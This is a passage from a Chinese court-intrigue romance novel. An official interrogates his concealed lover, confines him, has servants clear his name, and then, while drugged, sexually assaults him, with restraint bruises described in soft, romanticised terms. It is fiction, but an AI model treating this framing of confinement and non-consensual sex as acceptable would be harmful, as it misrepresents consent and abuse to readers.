他回忆起梁蕴品犯病时二人所做的一切,红晕顿时爬上了他的双颊……与之相比,一个蜻蜓点水的吻,确实算不得什么。
可他鲜少主动,上回梁蕴品犯病,他实在怕他伤了身子,才扯下那根衣带……过后梁蕴品与他情好日密,也不再藏着端着,夜夜都用十分霸道的姿态ya着他,他早已习惯了在梁蕴品的掌控中步步沉沦。
但今日,梁蕴品又被魇住了,那他是不是该……
陆宛又咽了咽嗓子,慢慢抬起手放在梁蕴品腰间,用十分生疏的手法试图解开那衣带上的绳结。
刚松开第一个结,一只大手倏忽压了上来,将陆宛两截白皙的手腕齐齐握入掌心。
陆宛吓了一跳,“大人,你……”
“陆宛。”
梁蕴品百般纠结如何开口,终于还是选择了最残忍也最直接的方式。
“你到底,还想瞒我到几时?”
他毫不意外地看着眼前人浑身一震,种种情绪如走马灯般在眸中一一掠过。
惊诧,狼狈,痛苦,不舍,无望……
陆宛眼中的一切毫无保留地倒映在梁蕴品眼底,叫梁蕴品终于窥见他层层掩埋的恐惧——犹如玉檀峰峰顶那一捧终年不化的积雪,一场山崩地裂来袭,到底是落得个粉身碎骨的下场。
陆宛双眼几乎是顷刻间蒙上一层水雾,他垂下眼,竭力按下心中的慌乱,企图用一个体面的姿态笑对梁蕴品。
但他尝试过,努力过,却不管用。
即将失去挚爱的痛苦将他的嘴角狠狠扯了下来,他只能咬紧牙关,撇过脸,竭力护住那最后一层薄薄的面具,不叫梁蕴品看到他面具下的脆弱与无助。
对不起,陆宛上下唇很轻地碰了碰,却没出声。
“你说什么?”<
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梁蕴品放轻了声音,手依然紧紧捏住陆宛的腕,“算了……我不是要追究你瞒我这件事,你无需如此激动。”
“我只是有几个疑惑,想从陆公子口中……亲耳听到答案。”
听到“陆公子”三字,陆宛很轻地闭了闭眼,一颗豆大的泪从梁蕴品看不到的侧脸滑了下去。
“大人……客气了。”
陆宛哑着声,艰难地吸了口气,“原是我不请自来,大人不将我拘到暗室严刑逼供便已是礼待,有什么想知道的,您尽管问便是。”
“能说的,我定知无不言。”
“……好。”
梁蕴品对陆宛声音中的颤抖充耳不闻,只凝着一双炯黑的眸盯着陆宛的侧脸。
“第一个问题,你是否早就知道,我是谁?”他顿了顿,“不止是我的履历,还有……我的出身。”
“……是,我一早知道。”
陆宛原以为梁蕴品会先问他入通判府的缘由,却未料到梁蕴品剑指慧眼,竟是要将他经年心事一铲子挖了出来。
但他言出必行,能说尽说,“我知晓您是本朝右相,梁大相公的嫡长子,还知道您是顺和二十九年进士出身,三十年外放为官,任襄州通判。”
果然。
陆宛一直不敢回头直视梁蕴品,未能看见他嘴角勾起一抹浅笑,又被他克制下去。
“你既对我如此了解,那么当日在湖州,你我并非偶遇,而是你……特意去看我,对么?”
陆宛倏地绷直了身体。
觉察到陆宛的紧张,梁蕴品抢道,“这个问题你无需回答,但你得告诉我……我们第一次见面,是在哪里?”
“……”
陆宛余光瞧着梁蕴品笃问到底的神情,脉搏在他掌心里越跳越快,越跳越乱。
他垂下眸,眼神飘忽不定,竭力思考如何逃避这个问题,却不知这个举措叫人误解。
“不能说么?”
梁蕴品今夜头回蹙了眉,“难道我二人的相遇,竟是在十分见不得人的场合?”
“……”陆宛索性闭上了眼。
“呵,恕不才冒昧。我自认记性不差,连四岁时归园还乡的乳娘的面孔都记得一清二楚。”梁蕴品见他不出声,自顾自分析道,“可我却不记得有同陆公子这样的人物打过交道。”
按理说,陆宛这样的人一旦出现,便应如霁月清风,叫他永世难忘。
“难不成是陆公子因缘际会瞧见了我,可我却无缘同公子见上一面?”
“……”
见过的,陆宛叹了口气,心道。
只是今日若将前尘往事一并翻出,除了给梁蕴品添堵以外,再无其他价值了。
他出身既已败露,再也不能以外室这样低下的身份留在梁蕴品身边,横竖是要走的,何必叫他徒增烦恼。
“大人若这么想,便这般认为罢。”陆宛自暴自弃道,“都不重要了。”
梁蕴品眉间的沟壑又深了深,却也很快想明白其中关窍,微微一哂,“也罢,确实不重要。”
“那咱们便来谈些重要的。”
他抬起空落落的那只手,轻轻扣住陆宛的下巴,将他的头一点一点托起来,直直对上自己探究的视线。
“陆公子可认识,时任谏院四品谏议大夫,江守义,江大人?”
23. 23.惩罚
“……江伯父?”
陆宛吃劲地仰着头,露出不明所以的眼神,“他也是我祖父的养子,同我爹一起长大,只是……”
“只是什么。”
“他不赞同我爹经商,”陆宛似乎颇觉惋惜,“和我爹吵了一架,后来便彼此疏远了。”
“哦?是么。”
梁蕴品神色依旧,语气却骤然冷了下来,咬字也变得极重,“那你可知,他与家父在朝堂之上时有争执,是看梁家最不顺眼的朝臣之一?”
陆宛眉心一蹙,一时间竟没听懂梁蕴品话中深意,待他思索片刻,豁然醒悟,那双平静的眸子里顿时生出许多难以置信来。
“大人的意思是——怀疑江伯父与家父勾结,特遣我来此地献身于你,好给他通风报信,暗渡陈仓?”
陆宛哑着声艰难说出这番话,一眨眼惊觉自己泪已盈眶。
梁蕴品看着那通红的双眸,眼底擦过一丝愧疚,却并未松手。
他不答反问,“那么,你有吗?”
“……我若说没有,大人信么?”
绯红的眼眶中盛满了委屈的泪,却被陆宛死死按住,不叫任何一颗屈辱落下。
梁蕴品的质疑彻底浇熄了陆宛残存的希望,他原以为此事左不过治他个欺瞒之罪,梁蕴品质疑他,憎恶他,甚至将他送去官府审讯也是人之常情,却不料一朝任性妄为,竟将父亲和江伯父,乃至整个陆家都拖下水,平白无故弄得一身脏。
陆宛心中无比自责,神情却愈发坚韧,“江南第一商”的风骨在他体内生根拔节,叫他不由得挺直了腰,同梁蕴品正面相抗。
“梁大人,”陆宛沉声道,“我陆家虽居末流商贾,同梁家不止云泥之别,但好歹,陆家在江南也是混得过去,叫得上号,不必卖子求荣的。”
“我是骗了大人不假,可这一切都是我自己的主意,与家父无关,更别提江伯父了。”
陆宛抬眼,笃定道,“江伯父最瞧不上那些蝇营狗苟之事,为避嫌才同我家疏远,他怎么可能结党营私?更何况,我入府这些日子做了什么没做什么,大人都看在眼里,我,我……”
陆宛突然说不下去了,攥成拳头的手在梁蕴品掌心鼓出数道青筋,两行清泪泠然滑落,顺着颧骨淌落下颌,消失在梁蕴品指尖。
他本不想如此窝囊的……
他想平心静气地提醒他,他对他的情意作不得假,天地可鉴……但建立在谎言之上的诉情显得格外虚伪,叫他不得不怯于自证,无地自容。
梁蕴品瞧见那两行泪,心中一动,捏着下颌的手不自觉上移,轻轻地拭去了泪痕。
“别哭,”他很轻地叹了口气,压低声音道,“很快便结束了。”
“等我。”
陆宛越被安抚越是泪如决堤,几乎没听清梁蕴品的唇一张一翕间都说了些什么。
他只知梁蕴品突然甩开他通红的腕,叫他一时重心不稳跌落地上,耳畔传来的重话如火炮连天,一记接着一记砸向他本就布满裂痕的心脏。
“你既如此信任江大人的人品,那太史令王大人,你又如何评价?”
——什么太史令,什么王大人……
“王大人同你亲舅舅勾结一事,别再同我说你不知道。”
——我不知道,梁大哥,我真的不知道……
“你若是还不认,我便提醒你一下。”
梁蕴品的影子被烛火拉得很长,如同附在地上,深不见底的暗渊,一寸寸吞噬着陆宛的理智。
“这位太史令,便是让我被暗算,被下药,饱受欲望煎熬的祸首,”梁蕴品声线颤抖,无可遏制地暴露了自己的心虚。“也是促成你我相遇,为你登堂入室提供敲门砖的幕后元凶!”
-
沙卓立在沁荷居门前左等右等,内心的焦灼逐渐溢于言表。
他们仨自小厨房里便起了冲突,阿生非要跟过来伺候,他与一心拼命相阻,却不敢动粗。
于是三人斡旋至此,一心轻功不及阿生,竟使坏将阿生拦腰扛起,径直跑出了盈蕖馆,而他则顺势守在门前,听梁蕴品厉声质问,问陆宛知不知江守义对梁家素有恶意。
但越听下去,沙卓眉心越紧,梁蕴品看似将陆宛逼得无言以对,实则每一句都像在自说自话,抛玉引砖。如此大好时机,自家主子竟连一句有用的线索都没套出来。
院门外,一心和阿生扭打在一起,在青石板上缠得不可开交,阿生口中骂骂咧咧,一心则“祖宗”“天爷”叫了个遍,二人谁也下不去手,谁也脱不开身。
梁蕴品出来时便一眼瞧见滚作一团的两人,两人已从院门滚到了院中,落芙亭附近的泥土被他们滚得到处都是,叫整个院子一片狼藉,乌烟瘴气。
他下意识皱了皱眉,反手关上了门,毫不意外地看向立于门后的沙卓,“都听到了吗?”
沙卓眼皮一跳,下意识拱手跪地,“属下冒犯,请大人恕罪。”
梁蕴品也不接他的话茬,只说,“吩咐下去,叫人来守着盈蕖馆,不许人进出,但这一主一仆有任何事,无论何时都可以替他们来主院通传。”
“……”
“还有,他们的饮食从此便交由王叔负责,想自己开伙便叫王叔送新鲜的食材来,想吃外头食肆里的,便叫王叔去买,其余人一律不许过手。”
“…………”
梁蕴品说完便拔腿要走,却被沙卓从地上蹦起来,生生拦住了。
“大人,属下斗胆相问!”
沙卓头一低手一拱,“不知大人软禁他们,日后……还有什么别的打算?”
“打算?”梁蕴品斜眼一瞟,“你是指什么。”
“譬如……将他们带到暗室,逼问陆家同江守义,王仪勾结的细枝末节。”
沙卓一身煞气,字字铿锵,“又或者给舒志巷众掌柜传一条假消息,叫他们想法子联系陆老爷,让他自己承认同江,王二人私相授受,官商勾结。”
“待我们收集好证据,便可一并交由大相公处置,无论此事背后有无官家的参与,单凭这谋害朝廷命官之罪,大相公便可在朝堂上参张,王二人
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一笔,即便最后扳不倒他们,也可叫梁家暂时松一口气,不必腹背受敌,四面楚歌。”
“……”
这一番长篇大论可谓设心处虑,苦心孤诣,叫梁蕴品不得不再三审视沙卓此人,透过此人粗糙的皮囊看清他一片赤胆忠心。
半晌,梁蕴品道,“你说得很好。”
沙卓那只独眼骤然被希望点亮,却在下一瞬黯淡下去。
“但若是我不愿意,你当如何?”
沙卓蓦地抬起头,独眼中全是难以置信,“难道大人真是那见色忘本之人吗?”
“是又如何,不是又如何。”
梁蕴品平静地看着沙卓,眼中无波无澜,“沙卓,你忘了最重要的一件事。”
“陆宛,不是我们可以随意揉捏之人。”
“他背后是整个陆家,江南商会,甚至于大邹最大的一条税收命脉。”梁蕴品道,“因此他的事,只得轻放,不得高举;只可低调,不可高调。”
“那,那难道大人就这么囚着他,任他在通判府扎根生芽,继续同人通风报信,里应外合吗?”
“什么通风报信,什么里应外合,你把嘴给我放干净些!”
阿生好不容易挣脱一心的桎梏,气喘吁吁赶到门前却只听到刺耳的一句诋毁,顿时怒向胆边生,指着沙卓的鼻子破口大骂,“你,你个独眼狼,杀千刀的,你有什么证据证明,我家少爷通风报信……”
“你拿出来,现在就拿,同大人当堂……当堂对质!我就不信,我就不信了……”
“哎哟祖宗,你真他妈,跟个兔子似的……”
一心随后赶到,喘着粗气叉着腰,看着眼前一触即发的局势欲哭无泪,“沙卓你怎么又——”
“阿生说得对。”
梁蕴品被他们吵得脑仁生疼,不愿再搅和到仆奴们的拌嘴中,当机立断转向沙卓,道,“你方才的指认只说明陆家同两位大人有私交,却无法证明陆宛是他们结党营私的工具。”
沙卓被突然现身的阿生骂了个狗血淋头,乍一听梁蕴品的推托之词,他气得几乎要将后槽牙咬碎。
“但大人您不允许属下提审陆宛同阿生。”沙卓暗暗讥讽道,“巧妇难为无米之炊,属下实不知如何能快速得到实证,请大人提点!”
“荒唐!”梁蕴品皱了眉,“难道你办案,都是靠严刑逼供,屈打成招?”
“此处无证,哪里有证你便去哪里寻,慢一些又有何妨?”梁蕴品也收不住内心的怨气,阴阳道,“你能瞒着我查到陆宛的身份和陆家同两位朝臣的纠葛,如今我着你放手去查,难道还查不出陆宛入府的真正缘由?”
三人听了梁蕴品的话皆是一怔,阿生与一心骤然接收如此复杂的消息,思绪几乎陷于停摆,沙卓则有醍醐灌顶之感,却仍旧从梁蕴品的话中听出了潜藏的回护之心。
盈蕖馆一下安静下来,月色下的夏蝉开始聒噪,却怎么也闹不透院中低沉胶着的气氛。
半晌,沙卓将手一拱。
“属下领命,定不负大人所望。”
24. 24.证伪
“沙哥,去江南道暗访的几拨弟兄都回来了。”
“辛苦了。”沙卓不敢离开梁蕴品太久,唯有调派人手轮番探查,“快一个月了,有什么消息么?”
“去湖州的弟兄千辛万苦查到了存入金湖钱庄的四千两银票同一封信,发现——”
“发现什么?”
“钱庄里只有银票,信早就不在了。”
负责收集消息,上报沙卓的府卫叫大春,他面露难色,眼睛不敢直视沙卓,“是属下等无能了。”
“别那么说,”沙卓难掩失落,却依旧拍了拍大春的肩膀,“陆宛城府极深,再加上他背后助力之人皆是有头有脸的大人物,查不到信也是寻常,莫要气馁。”
“是。”大春点点头,又压不住嘴角,露出一个狡黠的笑,“不过信虽已送出,但我那小兄弟不死心,混在钱庄里大半月,竟真被他寻到一个偷摸见过那信中内容的伙计。”
“好你个大春,”沙卓给了大春肩膀一锤,眼色一亮,“伙计?确认他说的话可信吗?”
“嗯,那人是钱庄里的老伙计了,平日里沉默寡言,看着一副憨厚老实的模样,没想到竟烂赌成性,还偷东西。”
沙卓大概猜到一二,“继续。”
“那伙计负责大客钱库的看管,一客一格,一格两锁,两把钥匙由掌柜同他各自保管。可他不知使了什么法子,竟私下复制了掌柜的钥匙,从此便将钱库堂而皇之当做自己的小金库。”
大春说着笑了笑,“可他还算精明,知道贵重物品动不得,因此只隔三差五地偷点碎银子,或将大银票兑换数张小银票,将小银票放回去,自己只抽一张,如此来回折腾,倒叫他隐瞒至今。”
“所以,陆宛那张四千两的银票,甫一入库便被他盯上了。”沙卓嘴角一勾,“他在翻查银票时,不留神看了信的内容。”
“没错!”
大春先是笑叹“天助我也”,笑着笑着却不勉困惑,“只是沙哥,那封信仿佛并非如我们所料,是个传递消息的信件,它好像……就是一封普通的家书。”
“嗯?”
“那伙计说信里只提到,他要与旧时同窗游历一番,顺便到各处寻觅经商机会,替陆家开拓商路。”大春挠挠头,“还说不能时时伴在爹娘身侧,很是不孝,望爹娘谅解。”
“哦对了,他还说了,游历中不好时时传递家书,但他与阿生会彼此照应,望爹娘勿念。”大春眨了眨眼,笃定道,“就这么多。”
“……”
沙卓几不可闻地叹了口气,指点大春,“他若与陆之垣传递暗语,能叫旁人知悉吗?”
“啊?这些竟是暗语么?”大春傻了眼。
“未必是,亦未必不是。”
沙卓摇摇头,“算了,信件既不是铁证,便说说下一个。”
“哦,下一件事,属下便更费解了。”
大春从袖袋中掏出一张纸,在沙卓眼前展开,“沙哥,您看看,这是弟兄们从杭州带回来的东西。”
沙卓接过纸,定睛一看,瞬时皱了眉。
“这是……陆宛的画像?”
“是啊,但这不是从布告栏上扯下来的,是咱们的人同道上的人套近乎,从他们手中骗来的。”
“道上……”沙卓偏头,问,“什么道?”
“那可就多了。”大春将手一插,“漕帮,丐帮……对了,还有盐帮。”
“这陆家还真豁得出去,若是叫人知道他们同贩卖私盐的扯上关系,这‘江南第一商’的美名不仅留不住,恐怕以后啊……啧啧。”
沙卓独眼一眯,目光微微凝滞,“陆家在暗中搜寻陆宛的踪迹,且不惜一切代价。”
“没错。”大春也拧了眉,“沙哥,你说这会不会是陆宛设下的一个局?怎么早不寻晚不寻,偏偏就是在他被大人软禁后才开始寻,这也太巧了些。”
沙卓蹙眉凝神,“有可能,但……”
“但?”
“但我总觉得……有些矛盾。”
沙卓回忆起方才提到的,已经被陆宛送出的信,“那封信上提到过,他出门在外,不好时时传递家书。若此信真由暗语所书,那么这句话的意思,应当是——”
“应当是陆宛不主动传出消息,陆家就不能轻举妄动!”
大春一锤手心,眼睛瞪得滚圆,“那,那陆家怎么会突然出击,主动出来寻陆宛呢?”
又道,“瞧这情形,他们分明就是知道陆宛出事,却不知人在何方,才如此不计钱财不计后果地广撒网……可通判府明明一早封锁了消息,盈蕖馆连只苍蝇都飞不出去!”
大春越说越惊心,“而陆宛入通判府之事,陆家不可能不知道啊!如今怎地装出一副没头苍蝇的模样?”
“除非……”沙卓盯着手中的画像,眉宇间终于露出一抹疲惫,“除非,他们不是装的。”
“您的意思是……”
“消息确实泄露了,却只泄露了一半,他们当真不知道陆宛的下落,又不敢大张旗鼓地寻人,唯恐劫匪撕票。”
沙卓闭了闭眼。
陆宛,居然真的与陆家那些蝇营狗苟无关。
呵,堂堂陆家少爷,入通判府为外室,竟真是一厢情愿,自作主张……他到底图什么呢?
午后,书房门窗紧闭,院中蝉鸣不已,将细密的谈话声隔绝一隅。
“事情办得如何?”梁蕴品又在练字,一心二用却不影响他笔走龙蛇。
“都办妥了。”一心在边上给梁蕴品磨墨,沉声道,“陆公子失踪一事已经叫陆家人知晓了,听说陆夫人当晚就晕了过去,陆大姑娘和二姑娘连夜回了娘家……”
笔尖狠狠一点,洇出一团糟心的墨,梁蕴品眉心恨不得愁出几道天堑。
他冷眼瞧着一心,“你办事,如今是越来越上道了。”
“嘶,大人,这事真不能怪我,也不能怪雷子!我千叮咛万嘱咐,一定要找准机会,叫陆老爷的近侍接到密函后只给陆老爷一人相看,绝不能叫女眷接手,雷子也是照做了的!”
一心放下墨锭,两手一摊,“可谁知那名近侍怀疑密函有毒,竟当场拆了密函,回头瞧见陆夫人,嗷一嗓子就哭了……这下好了,整个陆府内院都知道了。”
“……”
“现下陆老爷也着急的很,他一边依照密函提示,不能大张旗鼓地找,一边还要照顾夫人,照看生意,简直忙得焦头烂额……”一心说着说着便有些愧疚,下垂的眼角像极了一只大黑犬,“大人,你说陆公子有朝一日知道了,会不会怪咱们啊……”
怪只是轻的,只怕他恨我,梁蕴品心道。
他捏了捏眉心,重新执起笔,“后悔也无用,尽快结束,还陆宛一个清白与自由便能稍作补救……沙卓那边已经接到消息了么?”
“嗯,接到了,还有江大人同陆家早已断绝往来的证据,以及陆夫人因着兄弟与贪官勾结,三年没回娘家一事,也一并捅到沙卓那儿去了。”
这几件事一心办得很妥当,因而言语间又忍不住透出些许得意来。
但他始终有一事不解,纠结半晌还是问了出口,“大人,你让咱们这么大费周章地同沙卓绕弯子……至于么?”
“为何不能他查他的,咱们查咱们的,有证据就直接甩到他脸上,叫他心服口服不就好了?”
梁蕴品铺开纸,用纸镇轻轻压住一边,面容持重。
“我且问你,你亲自审讯了一场动机与证据确凿的杀人案,嫌凶家人却声称,当日他们一直待在一起,嫌凶并无杀人的时间,你信么?”
“当然不信!那可是家里人,做什么伪证都不为过!”
一心脱口而出,顷刻间明白过来,眼睛一亮,“您是说……沙卓在陆公子的事情上并不信任您,他认为您会
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偏袒……”
“嗯。”
“嘁,依小的看,大人就是太好脾气了。”一心重新拿起墨锭,边磨边嘟囔,“他一个下人,竟敢拿主子的主意……况且您也不知被他灌了什么迷魂药,从前都是提防着他,不把他当回事的,如今竟为了说服他,绕了这么大一个圈子……”
梁蕴品提笔的手顿了顿,想起还未同一心说明那日的情况,便道,“他知道我被下药一事,也知晓陆宛来由存疑,但他查了桩桩件件,却从未同父亲上报一个字。”
“诶?……对啊,他居然没告诉大相公!”
一心这才反应过来,“那他……”
“他说父亲将他给我,便是要他易主而伺,无条件遵从我的决定与命令。”梁蕴品写下一个“清”字,“此言此行虽叫我放下成见,有意接纳于他,却仍旧不敢全然与他交心。”
“为何?”一心忍不住帮腔,“其实我一早便想同大人说,沙卓这头憨鸟虽是个不上道的,但看着不像是首鼠两端的小人,且纵观梁府同通判府的所有仆奴,我就没见过比他更聪明,更好用的了。”
“大人若是能将其收于麾下,也算是添了一员忠仆猛将啊~”
“呵,还能为什么……自然是因陆宛一事,我二人始终无法对彼此放下心中芥蒂,我也终究不能叫他信服。”
梁蕴品笔触一点,“为”字跃然纸上。
“解铃还须系铃人,陆宛重获自由那日,或许便是我主仆缘分真正到来那日吧。”
“行吧。”一心帮梁蕴品托起纸张,瞧着梁蕴品的一手飘逸俊朗的字不住点头,“大人的苦心他若能理解,才算是真正入了通判府的门~”
又道,“不过大人,您真的会放陆公子……自由吗?”
这话便是真的扎在了梁蕴品的心坎上,他唇角一挂,沉吟片刻,问,“他今日怎样了?”
“谁?噢……老样子啊,同昨日前日大前日都一样,陆公子就坐在落芙亭里钓鱼,看书,一天同阿生说不了几句话。”
一心像完成每日上值任务般懒散报道,“听闻好像比月前瘦了些?王叔说在舒志巷定做的衣裳都到了,刚送进去便被阿生拎出来,说是大了许多,要拿回去改。”
“瘦了?”
梁蕴品手一松,纸晃晃悠悠地垂下一半,眉心却蹙起大半,“王叔不是每日送新鲜的饭菜进去么?还送了韵婉楼的餐食……他自己建的食肆,难道也不合他口味么?”
“啧,少爷,不是我说您……您没发现韵婉楼的菜是跟着您的口味调整的么?”
一心无奈扶额,“我起初以为是那家掌柜心细如尘,记得每一位贵客的口味,直到舒志巷的秘密泄漏我才惊觉——哪里是掌柜的心细,明明是这位小东家心细,照着您的喜好给掌柜们布置任务呢!”
一心越说,梁蕴品的心便揪得越紧,他有些急躁地望着盈蕖馆的方向,突然等不及沙卓主动来向他认错。
他要今日,不,现在,便去见他一面。
“你去传沙卓吧,是时候了。”
梁蕴品看向一心,“叫他来同我说说,他这些日子查到的结果。”
“得嘞!”
一心麻溜放下梁蕴品的字,嘴角也忍不住勾了勾。
只能帮到这了。
也不知那兔子似的刁奴还怪不怪自己……但愿大人有情人终成眷属后,也能顺带着给他一点好运气吧!
一心收拾好正打算出门,门却自己响了。
急促的敲门声如同阴曹地府传来的催命的铜铃,直叫人听得心头发虚,魂魄震荡。
“大人!大人!”
王叔等不及传唤,头一回擅自闯进了书房,满布皱纹的脸上挂着点点水珠,不知是汗水还是泪水。
“大人快启程,回汴都瞧瞧吧!四少爷……四少爷被官家以皇子伴读为借口,扣在宫里七日七夜了啊!”
25. 25.异变
“你说什么?”
梁蕴品瞳孔骤缩,三步并作两步走到王海身前,死死盯着他的眼睛,“四弟犯了什么错?是官家下令扣住的吗?官家为何要对一个稚子突然发难?”
“老奴不知,”王海泫然欲泣,“老奴只是收到了二少爷传来的急件,大人您看——”
梁蕴品一把夺过王海递来的信件,那信纸薄薄一羽,甚至连信封都未来得及添上,当时情形之紧急可见一斑。
也难怪王海能一眼瞧见里面的内容,梁蕴品甚至无需展开,巴掌大的纸张上只书了寥寥两行草字,“大哥,四弟被擢为皇子伴读,已入宫七日,杳无音讯。”
“家中生变,信中不便多言,盼速归。”
家中生变,家中生变……
是什么让一向稳妥的二弟都失了方寸,连信封都来不及套上便将信传了过来?
他猛然抬头看向一心,厉声发问,“通判府还有几匹能用的快马?”
“有……”
不等一心盘算,梁蕴品便加重了语气,“通通给我备上,我要回汴都!”
一心惊出一身冷汗,凑近梁蕴品身旁劝解道,“大人稍安勿躁,现下还不知府里什么情形,若是贸然离开襄州,擅离职守,恐怕会遭——”
“管不了这么多了!”
梁蕴品眼眸逐渐浮上一抹癫狂的猩红,“二弟素来持重,连他都顾不上细枝末节,说明府里已然乱成一团,说不定父亲母亲……”
“大人,属下沙卓,有要事求见!”
仿佛是为了印证梁蕴品心中猜想,沙卓不管不顾地闯了进来,手中还拿着一张洁白的纸笺。
那纸笺细看之下通体莹辉,质地柔和,一张一弛间竟现出隐隐青光,一看便是由特殊材料所制。
梁蕴品将视线钉在那张笺上,沉声问,“你也收到了梁府的消息?”
“是。”沙卓也没什么好隐瞒的,“当日从庄子里出来,大相公便给我们兄弟四人留了紧急信道——一方出事,三方便可及时支援,确保四位公子安全无虞。”
梁蕴品的心一下揪了起来,“那这封信,难道是老四——”
“不,不是四少爷,”沙卓道,“是二少爷的府卫,我二弟沙牧传来的信。”
“老二的府卫?”梁蕴品心中隐有不祥预感,“难道说,连老二也出了什么事?”
“大人别急,二少爷一切都好,只是唯恐有小人作梗,不敢在家书里将府中情形和盘托出,故令吾弟在暗信中补充一二。”
沙卓递过那张纸笺,言简意赅道,“信中言,大相公不敢违抗皇命,亲自将四少爷送进了宫门,此后便住进和政殿商议南蛮战事,数日未归。三少爷不见弟弟,吓得每日哭哭啼啼,不肯进食。而夫人她……”
“夫人怎么了?”
一心皱着眉凑到梁蕴品手边,只见纸笺上书——“夫人一时情急,气血上涌,当场昏厥,已卧病七日七夜,至今未醒。”
“轰”地一声,一道白光闪过眼前,梁蕴品只觉天地骤然一片安寂,唯余识海深处被天雷炸出一道深坑。
母亲她……气血上涌,当场昏厥,至今未醒……
他身形一晃,终是没撑住自个儿,一歪头倒在了一心身上。
“大人!大人!”
“大人你没事吧,大人!”
此起彼伏的呼唤声自他耳边响起,又如退潮般急速散去,仿佛被吸入了一个无底的漩涡之中。
他动了动唇,瞪着猩红的眸子,无声无息地吐出两个字。
“什么?”一心托着梁蕴品的身子,急得满头大汗,“大人您说什么?您大点声?”
梁蕴品麻木地重复了一遍又一遍,一心目不转睛地盯着他的唇,脑中一刻不停地打着转,疯狂猜测着主子此刻的心意。
备马?回家?母亲?梁府?
不对,都不对。这个唇语仿佛是……
陆,宛?
-
好热,好渴。
梁蕴品又陷入了漫长的混沌,这一次却比以往几次更叫他痛苦。
他察觉自己浑身发烫,身体像被谁扔了一颗火种,火焰漫无目的地燃起来,一点一点吞噬着他的理智,他的身躯,直至将他灼成灰烬,却始终纾解不得。
于是他钻进荒漠,在无垠的沙砾间寻得一汪清泉。
他恣意享受着那抔泉水给他带来的清凉,却犹觉不满,于是近乎凌虐般玩弄着那口泉眼,纵容自己将灵魂深处的滚烫发泄出来,直至欲望平息,岩浆枯竭。
而那口泉眼仿佛灵气天成,取之不尽用之不竭,解了他的躁动与燥热,也解了他的苦闷与心渴。
梁蕴品再次恢复意识时,落霞已将天边染成了烟紫色。
他寸缕未着,有些狼狈地躺在地上,缓了好一会儿才支起身子,却见眼前竟是熟悉的落芙亭。
亭中杯盏四落,悬挂的纱帐同被撕碎的衣裳纠缠着散了一地,空余两根亭柱孤零零杵在南北两端。柱子上不知何时生出两条泛白的勒痕,在斜阳照射下轮廓愈发清晰,仿佛被两条巨蟒缠绕过,舔舐过,最终留下斑驳的光影。
梁蕴品怔愣着往下看,亭柱间,一个披头散发的男子侧卧在层叠的纱帐上,浑身蜷缩着,看上去仿佛奄奄一息。
他通体散布着大大小小的红痕,两只手腕与腿gen处更是绕了一圈深紫的淤痕,同落霞余晖渐渐融为一色。
不知为何,梁蕴品看到男子的那一刹那,想到了一只蝴蝶。
一只惨遭囚禁与凌辱的破碎的蝶。
他心神一凛,几乎是连滚带爬行至男子身侧,小心翼翼地拨开那掩住侧脸的乌发——还好是他,果真是他。
可是……他死了么?
恐惧后知后觉地涌上心头,梁蕴品血液一凉,浑身如坠冰谷,几乎是打着颤将手指伸到陆宛鼻下。
……还好,还有鼻息。
他呼出一口长长的气,强撑着扶起陆宛的头,像对待一个娇贵的瓷器般轻手轻脚放在自己膝上,又怕他冷,只好就地取材,将周遭碎布一并抽起,连同他自己一齐紧紧地裹在陆宛身上。
一滴热泪打在陆宛瘦削的颈窝,顺着他的肩头滑落,在层层叠叠的碎布上洇开。
“对不起。”
“对不起,对不起……”
一心捧着热水和脸巾从盈蕖馆侧间出来时,耳畔便反复萦绕着这三个字的尾音。
他摇摇头叹了口气,迎面撞上捧着热水从沁荷居出来的阿生,眼前一亮,张嘴便喊,“阿——”
“别叫我。”
阿生顿住脚,冷冷地与他隔空对视,“别吵着我家少爷,也别脏了我的名字。”
“我——”
一心瞪大了委屈的双眼,想给自己讨个说法却无计可施——阿生说完话扭头便走,多一刻机会都不肯给他。
靠!关我什么事!
大人啊大人,您这回可真把自己害惨了,也把我坑惨了啊!
眼见阿生进了小厨房,一心抿了抿唇,忿忿不平地加快脚步,想要在阿生出门前将他堵住,却被沙卓横插一脚,半路拦了道。
他没好气地瞥了眼沙卓,“好狗不挡道,没看见端着水呢么?”
沙卓不欲同他计较,眼神却十分执着,“你还未告诉我,大人为何会得此重病,发病的契机又是什么。”
一心一愣——完了,大人骤然毒发,此事怕是瞒不住了。
可眼下危机四伏,他实在不想再生枝节,便一脸不耐烦地敷衍道,“你脑子到底是什么做的?这事要是能轻易说出口,我不早就告诉你了?”
“等大人醒转,他要说自会同你说,我要干活去了。”
一心撂下两句话便抬脚要走,却被沙卓再次拦了下来。
“此事非同小可,我等不及大人清醒。”沙卓正色道,“你若真为了大人好,便同我说清此事,待我证明大人的病与陆公子无关,对他们也有好处。”
“哟,你还拿陆公子威胁上我了?”
一心睨着沙卓,眼珠一转,突然低低一笑,爽快应道,“行啊!”
“一个消息换一个消息,”他舔了舔后槽牙,突然凑近沙卓,“我告诉你大人发病的缘由,你告诉我,那日你查到的陆家的第二个疑点,是什么。
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”
沙卓后退一步,面色不善地打量着一心,似乎在掂量着这样的交易是否合算。
一心懒得理他,脚下生风进了小厨房,终于在阿生换水出来前截住了他。
“滚开,好狗不挡道。”
“……”
一心放下水盆,讪讪地摸了摸鼻梁,凑上前去死皮赖脸地挡住了阿生前进的路,“你消消火,就算有气,也别撒在我身上啊,我——”
“呵,”阿生怒极反笑,“把火撒到旁人身上的,难道不是那位金尊玉贵的梁大少爷?”
“……”一心知道自己逃不过这顿迁怒,无奈地笑了笑,笑容比哭还惨淡,“你听我解释,我家少爷是真有苦衷,他——”
“苦衷?”
阿生不听还好,一听便真的怒了。
他“铛”地一声放下手中木盆,指着梁蕴品的方向连声斥道,“谁人没有苦衷?我家少爷心疼你家少爷被迷药折磨,宁可无名无份也要委身于他,他便没有苦衷?他便活该被软禁在这一方院子里,失去自由,失去清白,苦等着你家少爷来发落他?”
一心叹了口气,“阿生,你误会了,你听我——”
“然后呢?”阿生气红了眼,根本听不得半句解释,“他等来了什么?”
一心被骂得张不开嘴,只好另辟蹊径,抬手试图拉住阿生的手,却被阿生躲了过去。
他悻悻地蜷了绻手指,“此事,确是叫陆公子……受委屈了。”
一心不能妄议主子的不好,只得将责任往沙卓和自己身上揽,“是我们错了。沙卓那个一根筋的玩意儿没查清楚便四处嚷嚷,还有我……我耽搁了太久,没能早日向沙卓证明你们的清白。”
“可是阿生,”他蓦地抬起头,目光诚挚,“你再信大人一回!好不好?”
